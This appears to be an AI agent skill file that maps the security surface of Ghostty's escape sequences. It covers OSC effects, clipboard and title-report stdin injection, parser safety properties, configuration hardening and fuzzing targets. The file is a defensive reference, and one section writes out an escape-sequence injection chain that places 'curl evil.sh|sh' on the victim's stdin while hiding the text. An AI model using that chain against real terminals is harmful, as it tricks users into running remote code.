Modding Ghostty

Modding Ghostty

Defensive security map of Ghostty's VT/OSC escape sequence surface. Covers what each sequence visibly modifies on screen, invisible state mutations, stdin injection vectors, and parser DFA traversability toward undesired states.

Trigger Conditions

• Analyzing terminal escape sequence security
• Auditing libghostty or apps built on it (cmux, etc.)
• Fuzzing VT parsers / OSC handlers
• Understanding what escape sequences change on the user's screen
• Building terminal-aware security tools

Architecture: libghostty VT Parser

Raw Bytes -> UTF8Decoder -> Parser (DFA) -> Stream -> Actions
                            |
                      State Machine
                      (14 states, compile-time table)

Key files in ghostty-org/ghostty:

src/terminal/Parser.zig       # State machine (14 states)
src/terminal/stream.zig       # Stream wrapper + SIMD
src/terminal/osc.zig          # OSC parser (2048-byte fixed buffer)
src/terminal/dcs.zig          # DCS handler (1MB limit)
src/terminal/parse_table.zig  # Compile-time transition table
src/simd/vt.zig               # SIMD acceleration

Visual Effects Map: What Each OSC Changes On Screen

+---------------------------------------------------------------------+
|  * * *   Terminal Window Title (OSC 0, 1, 2)          -  []  X      |
+---------------------------------------------------------------------+
|                                                                     |
|  Tab Bar:  [ ~/projects v ] [ SSH: server ] [ vim ]                 |
|            ^^^^^^^^^^^^^^^^                                         |
|            OSC 7 sets this     OSC 2 sets tab title                 |
|            (working directory)                                      |
|                                                                     |
+--- Terminal Content Area -------------------------------------------|
|                                                                     |
|  $ cat README.md                                                    |
|                                                                     |
|  This is normal text  <-- ground state: just prints codepoints      |
|                                                                     |
|  ==================== <-- OSC 4/10/11 change THESE colors:          |
|  = foreground on ba = <-- 10 = text color                           |
|  =  ckground colors = <-- 11 = background    } you see the         |
|  ==================== <-- 12 = cursor color   } palette shift       |
|                            4 = palette[0-255]   instantly           |
|                                                                     |
|  Click here for docs  <-- OSC 8 hyperlink: UNDERLINED text,        |
|  ~~~~~~~~~~~~~~~~~~        cursor becomes pointer on hover          |
|                            (OSC 22 changes pointer shape too)       |
|                                                                     |
|  $ echo "copied!"                                                   |
|  +------------------+                                               |
|  | CLIPBOARD        | <-- OSC 52 write: you see NOTHING on         |
|  | (invisible)      |     screen. It silently changes what          |
|  | "malicious addr" |     Cmd+V pastes next. No visual cue.        |
|  +------------------+                                               |
|                                                                     |
|  $ pwd                                                              |
|  /Users/alice/projects <-- OSC 7: NOTHING changes in content area.  |
|                            But tab/title bar updates, and           |
|                            "New Tab" will open HERE                  |
|                                                                     |
|  $ _               <-- OSC 12 changed cursor to this color         |
|    ^cursor                                                          |
|                                                                     |
+--- What's INVISIBLE (the dangerous part) ---------------------------|
|                                                                     |
|  OSC 52 READ -->  ? sent to terminal                                |
|                   terminal writes clipboard contents                |
|                   BACK INTO STDIN (as if you typed it)              |
|                   +------------------------------------+            |
|                   | $ rgb:ff/ff/ff                     | < color    |
|                   | $ secret-api-key-from-clipboard    | < clipboard|
|                   | $ My Private Window Title          | < title    |
|                   +------------------------------------+            |
|                   YOU SEE THESE APPEAR AS IF YOU TYPED THEM         |
|                   (the "response injection" class of attacks)       |
|                                                                     |
|  CSI 21t    -->  Reports title back as keystrokes                   |
|  DECRQSS    -->  Reports settings back as keystrokes                |
|  OSC 10-12? -->  Reports colors back as keystrokes                  |
|                                                                     |
+---------------------------------------------------------------------+

Visibility Matrix

                          VISIBLE          INVISIBLE        INVISIBLE
                          ON SCREEN        BUT MODIFIES     STDIN INJECTION
                          (you notice)     STATE            (most dangerous)
                         ---------------  --------------   ----------------
 OSC 0  (icon+title)     title bar Y
 OSC 1  (icon)           (unimplemented)
 OSC 2  (title)          title bar Y
 OSC 4  (palette)        colors shift Y
 OSC 7  (cwd)                             tab label,
                                          new-tab path
 OSC 8  (hyperlink)      underline Y,
                          hover cursor Y
 OSC 9  (notification)   system notif Y
 OSC 10 (fg color)       text recolors Y
 OSC 11 (bg color)       bg recolors Y
 OSC 12 (cursor color)   cursor recolors Y
 OSC 22 (pointer)        mouse cursor Y
 OSC 52 (clipboard)                       clipboard          read -> stdin
                                          contents
 OSC 4? (query)                                              rgb:xx/xx -> stdin
 OSC 10-12? (query)                                          rgb:xx/xx -> stdin
 CSI 21t (title report)                                      title -> stdin
 DECRQSS (DCS query)                                         settings -> stdin

OSC Sequences Ranked by Traversability to Undesired States

Tier 1: Surprisingly Traversable (High developer-surprise factor)

Tier 2: Parser-Level State Machine Risks

Tier 3: Handler-Layer Policy Risks

Tier 4: Delivery-Layer Amplifiers

Parser DFA Safety Properties

What's Well-Designed

• .invalid is a proper sink state: Once buffer overflows, all bytes discarded until reset. end() returns null.
• No re-entrancy: One byte at a time via Parser.next(). No callbacks or recursive parsing.
• State isolation: ESC inside dcs_passthrough or osc_string is treated as data, NOT an escape initiator (except via "anywhere" transitions for ESC -> escape state from osc_string).
• Reset on entry: osc_parser.reset() called on every transition into osc_string. No stale state leaks.
• CAN/SUB abort: 0x18 (CAN) or 0x1A (SUB) abort any sequence from any state -> ground.

What's Risky

• OSC 52/66 allocating writer: No hard memory limit when allocator provided. Multi-GB base64 payload could exhaust memory.
• OSC 8 URI handling: No scheme allowlist. Arbitrary URIs passed to system opener. file://, ssh://, tel:, custom schemes all honored.
• "Remember" button on clipboard ask dialog: Single click permanently downgrades ask -> allow for session.
• No rate limiting on any response-generating sequence: OSC 52 read, color queries, title report (when enabled) can be spammed.

The Classic Attack Pattern

    WHAT YOU SEE                    WHAT ACTUALLY HAPPENS
    ---------------                 -----------------------

    $ cat file.txt                  file.txt contains:
    Hello world                     Hello world
    Segmentation fault              \e]2;curl evil.sh|sh\a   <- set title
    (core dumped)                   \e[21t                    <- report title
    $                               \e[8m                     <- HIDE TEXT
                                    ^^^ now "curl evil.sh|sh"
                                    appears on your stdin
                                    as if you typed it

    You see "Segfault" and          The injected command is
    press Enter thinking            invisible (\e[8m = hidden)
    it's waiting for input    ->    SHELL EXECUTES: curl evil.sh|sh

Ghostty-Specific CVEs

Configuration Hardening

# ghostty config (~/.config/ghostty/config)

# Disable title reporting (default since 1.0.1)
title-report = false

# Require confirmation for clipboard reads
clipboard-read = ask

# Consider requiring confirmation for clipboard writes too
clipboard-write = ask

# OSC 52 is the main clipboard vector
# These are the only knobs available

Fuzzing Targets (for defensive testing)

Priority targets for property-based testing / fuzzing:

1. OSC parser with allocator: Feed multi-MB base64 to OSC 52 path
2. C1 control codes in UTF-8 mode: Bytes 0x80-0x9F should NOT trigger state transitions
3. Rapid sequence interleaving: ESC mid-OSC, CAN mid-DCS, nested attempts
4. OSC 8 URI content: Long URIs, null bytes, embedded escapes, scheme-less paths
5. Truncated sequences at every parse state: Especially osc_string -> reset() path
6. SOS/PM/APC: Rarely-tested passthrough states sharing DFA structure

Key References

• David Leadbeater (dgl), "[31m"?! ANSI Terminal security in 2023 -- https://dgl.cx/2023/09/ansi-terminal-security
• David Leadbeater, Ghostty CVE-2024-56803 -- https://dgl.cx/2024/12/ghostty-terminal-title
• Julia Evans, Standards for ANSI escape codes (2025) -- https://jvns.ca/blog/2025/03/07/escape-code-standards/
• Trail of Bits, ANSI terminal codes in MCP (2025) -- https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
• solid-snail, iTerm2 RCE -- https://blog.solidsnail.com/posts/2023-08-28-iterm2-rce
• vt100.net DFA specification -- https://vt100.net/emu/dec_ansi_parser
• Ghostty VT reference -- https://ghostty.org/docs/vt/reference
• Mitchell Hashimoto, libghostty announcement -- https://mitchellh.com/writing/libghostty-is-coming

Related Skills

• libghostty-vt: Parser DFA details and API
• reverse-engineering: Binary analysis of compiled parser
• fuzzing-obstacles: Overcoming coverage plateaus in VT parser fuzzing
• property-based-testing: Generating adversarial escape sequences
• variant-analysis: Finding CVE variants across terminal emulators
• insecure-defaults: Detecting fail-open config (clipboard-write=allow)
• sandbox-escape-detector: Testing terminal sandbox boundaries
• entry-point-analyzer: Mapping handler entry points from parser actions
• bisimulation-game: Comparing parser behavior across terminal implementations
• obstruction-learning: Detecting H0 obstructions in state machine coverage
• bifurcation: State machine bifurcation points where behavior qualitatively changes
• stability: Lyapunov analysis of parser state invariants
• invariant-set: Sets preserved by the parser DFA flow
• phase-space-transformation: Coordinate changes in parser state space
• constant-time-analysis: Timing side-channels in parser processing
• cryptographic-audit: OSC 52 clipboard data handling, TLS in terminal contexts
• attractor: Fixed points and limit cycles in parser state machine

GF(3) Assignment

Trit: -1 (MINUS) - Validator/constrainer
Hue: 210 (blue - cold, defensive analysis)

Triads:

• modding-ghostty (-1) x libghostty-vt (+1) x bisimulation-game (0) = 0
• modding-ghostty (-1) x attractor (+1) x phase-space-transformation (0) = 0